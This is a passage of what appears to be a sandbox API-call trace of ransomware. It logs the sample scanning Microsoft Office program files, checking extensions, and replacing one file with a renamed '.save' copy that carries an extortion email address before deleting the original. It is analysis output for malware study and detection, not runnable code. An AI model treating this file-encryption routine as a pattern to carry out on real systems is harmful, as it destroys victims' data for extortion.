dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0171.312] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=19648) returned 1 [0171.312] CloseHandle (hObject=0x51c) returned 1 [0171.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x220 [0171.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0171.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0171.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0171.312] lstrlenW (lpString=".doc") returned 4 [0171.312] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0171.312] lstrlenW (lpString=".docx") returned 5 [0171.312] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0171.312] lstrlenW (lpString=".pdf") returned 4 [0171.312] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0171.312] lstrlenW (lpString=".xls") returned 4 [0171.312] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0171.313] lstrlenW (lpString=".xlsx") returned 5 [0171.313] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0171.313] lstrlenW (lpString=".ppt") returned 4 [0171.313] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0171.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0171.313] lstrlenW (lpString=".zip") returned 4 [0171.313] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0171.313] lstrlenW (lpString=".rar") returned 4 [0171.313] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0171.313] lstrlenW (lpString=".bz2") returned 4 [0171.313] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0171.313] lstrlenW (lpString=".7z") returned 3 [0171.313] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0171.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0171.313] lstrlenW (lpString=".dbf") returned 4 [0171.313] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0171.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0171.313] lstrlenW (lpString=".1cd") returned 4 [0171.313] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0171.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0171.313] lstrlenW (lpString=".jpg") returned 4 [0171.313] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0171.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0171.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0171.313] lstrlenW (lpString=".doc") returned 4 [0171.313] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0171.313] lstrlenW (lpString=".docx") returned 5 [0171.313] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0171.313] lstrlenW (lpString=".pdf") returned 4 [0171.313] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0171.313] lstrlenW (lpString=".xls") returned 4 [0171.314] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0171.314] lstrlenW (lpString=".xlsx") returned 5 [0171.314] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0171.314] lstrlenW (lpString=".ppt") returned 4 [0171.314] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0171.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0171.314] lstrlenW (lpString=".zip") returned 4 [0171.314] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0171.314] lstrlenW (lpString=".rar") returned 4 [0171.314] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0171.314] lstrlenW (lpString=".bz2") returned 4 [0171.314] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0171.314] lstrlenW (lpString=".7z") returned 3 [0171.314] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0171.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0171.314] lstrlenW (lpString=".dbf") returned 4 [0171.314] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0171.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0171.314] lstrlenW (lpString=".1cd") returned 4 [0171.314] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0171.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll") returned 77 [0171.314] lstrlenW (lpString=".jpg") returned 4 [0171.314] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0171.314] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0171.314] lstrlenW (lpString="api-ms-win-crt-convert-l1-1-0.dll") returned 33 [0171.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0171.316] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=22720) returned 1 [0171.316] CloseHandle (hObject=0x51c) returned 1 [0171.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x220 [0171.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0171.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0171.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0171.316] lstrlenW (lpString=".doc") returned 4 [0171.316] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0171.316] lstrlenW (lpString=".docx") returned 5 [0171.316] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0171.317] lstrlenW (lpString=".pdf") returned 4 [0171.317] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0171.317] lstrlenW (lpString=".xls") returned 4 [0171.317] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0171.317] lstrlenW (lpString=".xlsx") returned 5 [0171.317] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0171.317] lstrlenW (lpString=".ppt") returned 4 [0171.317] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0171.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0171.317] lstrlenW (lpString=".zip") returned 4 [0171.317] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0171.317] lstrlenW (lpString=".rar") returned 4 [0171.317] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0171.317] lstrlenW (lpString=".bz2") returned 4 [0171.317] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0171.317] lstrlenW (lpString=".7z") returned 3 [0171.317] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0171.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0171.317] lstrlenW (lpString=".dbf") returned 4 [0171.317] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0171.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0171.317] lstrlenW (lpString=".1cd") returned 4 [0171.317] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0171.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0171.317] lstrlenW (lpString=".jpg") returned 4 [0171.317] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0171.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0171.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0171.317] lstrlenW (lpString=".doc") returned 4 [0171.317] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0171.318] lstrlenW (lpString=".docx") returned 5 [0171.318] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0171.318] lstrlenW (lpString=".pdf") returned 4 [0171.318] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0171.318] lstrlenW (lpString=".xls") returned 4 [0171.318] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0171.318] lstrlenW (lpString=".xlsx") returned 5 [0171.318] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0171.318] lstrlenW (lpString=".ppt") returned 4 [0171.318] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0171.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0171.318] lstrlenW (lpString=".zip") returned 4 [0171.318] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0171.318] lstrlenW (lpString=".rar") returned 4 [0171.318] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0171.318] lstrlenW (lpString=".bz2") returned 4 [0171.318] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0171.318] lstrlenW (lpString=".7z") returned 3 [0171.318] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0171.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0171.318] lstrlenW (lpString=".dbf") returned 4 [0171.318] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0171.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0171.318] lstrlenW (lpString=".1cd") returned 4 [0171.318] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0171.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79 [0171.318] lstrlenW (lpString=".jpg") returned 4 [0171.318] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0171.319] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0171.319] lstrlenW (lpString="api-ms-win-crt-environment-l1-1-0.dll") returned 37 [0171.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0171.320] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=19136) returned 1 [0171.320] CloseHandle (hObject=0x51c) returned 1 [0171.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x220 [0171.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0171.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0171.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0171.321] lstrlenW (lpString=".doc") returned 4 [0171.321] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0171.321] lstrlenW (lpString=".docx") returned 5 [0171.321] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0171.321] lstrlenW (lpString=".pdf") returned 4 [0171.321] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0171.321] lstrlenW (lpString=".xls") returned 4 [0171.321] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0171.321] lstrlenW (lpString=".xlsx") returned 5 [0171.321] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0171.321] lstrlenW (lpString=".ppt") returned 4 [0171.321] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0171.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0171.321] lstrlenW (lpString=".zip") returned 4 [0171.321] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0171.321] lstrlenW (lpString=".rar") returned 4 [0171.321] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0171.321] lstrlenW (lpString=".bz2") returned 4 [0171.321] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0171.321] lstrlenW (lpString=".7z") returned 3 [0171.321] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0171.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0171.321] lstrlenW (lpString=".dbf") returned 4 [0171.321] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0171.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0171.321] lstrlenW (lpString=".1cd") returned 4 [0171.321] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0171.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0171.322] lstrlenW (lpString=".jpg") returned 4 [0171.322] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0171.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0171.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0171.322] lstrlenW (lpString=".doc") returned 4 [0171.322] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0171.322] lstrlenW (lpString=".docx") returned 5 [0171.322] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0171.322] lstrlenW (lpString=".pdf") returned 4 [0171.322] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0171.322] lstrlenW (lpString=".xls") returned 4 [0171.322] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0171.322] lstrlenW (lpString=".xlsx") returned 5 [0171.322] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0171.322] lstrlenW (lpString=".ppt") returned 4 [0171.322] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0171.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0171.322] lstrlenW (lpString=".zip") returned 4 [0171.322] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0171.322] lstrlenW (lpString=".rar") returned 4 [0171.322] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0171.322] lstrlenW (lpString=".bz2") returned 4 [0171.322] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0171.322] lstrlenW (lpString=".7z") returned 3 [0171.322] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0171.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0171.322] lstrlenW (lpString=".dbf") returned 4 [0171.322] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0171.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0171.322] lstrlenW (lpString=".1cd") returned 4 [0171.322] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0171.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll") returned 83 [0171.323] lstrlenW (lpString=".jpg") returned 4 [0171.323] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0171.323] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0171.323] lstrlenW (lpString="api-ms-win-crt-filesystem-l1-1-0.dll") returned 36 [0171.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0171.324] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=20672) returned 1 [0171.324] CloseHandle (hObject=0x51c) returned 1 [0171.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x220 [0171.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0171.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0171.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82 [0171.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82 [0171.325] lstrlenW (lpString=".doc") returned 4 [0171.325] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0171.325] lstrlenW (lpString=".docx") returned 5 [0171.325] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0171.325] lstrlenW (lpString=".pdf") returned 4 [0171.325] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0171.325] lstrlenW (lpString=".xls") returned 4 [0171.325] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0171.325] lstrlenW (lpString=".xlsx") returned 5 [0171.325] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0171.325] lstrlenW (lpString=".ppt") returned 4 [0171.325] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0171.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82 [0171.325] lstrlenW (lpString=".zip") returned 4 [0171.325] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0171.325] lstrlenW (lpString=".rar") returned 4 [0171.325] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0171.325] lstrlenW (lpString=".bz2") returned 4 [0171.326] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0171.326] lstrlenW (lpString=".7z") returned 3 [0171.326] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0171.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82 [0171.326] lstrlenW (lpString=".dbf") returned 4 [0171.326] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0173.040] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=10562) returned 1 [0173.040] CloseHandle (hObject=0x524) returned 1 [0173.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid")) returned 0x220 [0173.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0173.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0173.041] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.041] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0173.043] GetLastError () returned 0x0 [0173.043] ReadFile (in: hFile=0x524, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x2942, lpOverlapped=0x0) returned 1 [0173.045] WriteFile (in: hFile=0x548, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x2950, lpOverlapped=0x0) returned 1 [0173.046] ReadFile (in: hFile=0x524, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0173.046] WriteFile (in: hFile=0x548, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0173.046] SetEndOfFile (hFile=0x548) returned 1 [0173.046] CloseHandle (hObject=0x548) returned 1 [0173.046] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.046] SetEndOfFile (hFile=0x524) returned 1 [0173.050] CloseHandle (hObject=0x524) returned 1 [0173.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.050] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid")) returned 1 [0173.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0173.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0173.051] lstrlenW (lpString=".doc") returned 4 [0173.051] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0173.051] lstrlenW (lpString=".docx") returned 5 [0173.051] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0173.051] lstrlenW (lpString=".pdf") returned 4 [0173.051] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0173.051] lstrlenW (lpString=".xls") returned 4 [0173.051] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0173.051] lstrlenW (lpString=".xlsx") returned 5 [0173.051] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0173.051] lstrlenW (lpString=".ppt") returned 4 [0173.051] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0173.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0173.051] lstrlenW (lpString=".zip") returned 4 [0173.051] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0173.051] lstrlenW (lpString=".rar") returned 4 [0173.051] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0173.051] lstrlenW (lpString=".bz2") returned 4 [0173.051] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0173.051] lstrlenW (lpString=".7z") returned 3 [0173.052] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0173.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68 [0173.052] lstrlenW (lpString=".dbf") returned 4 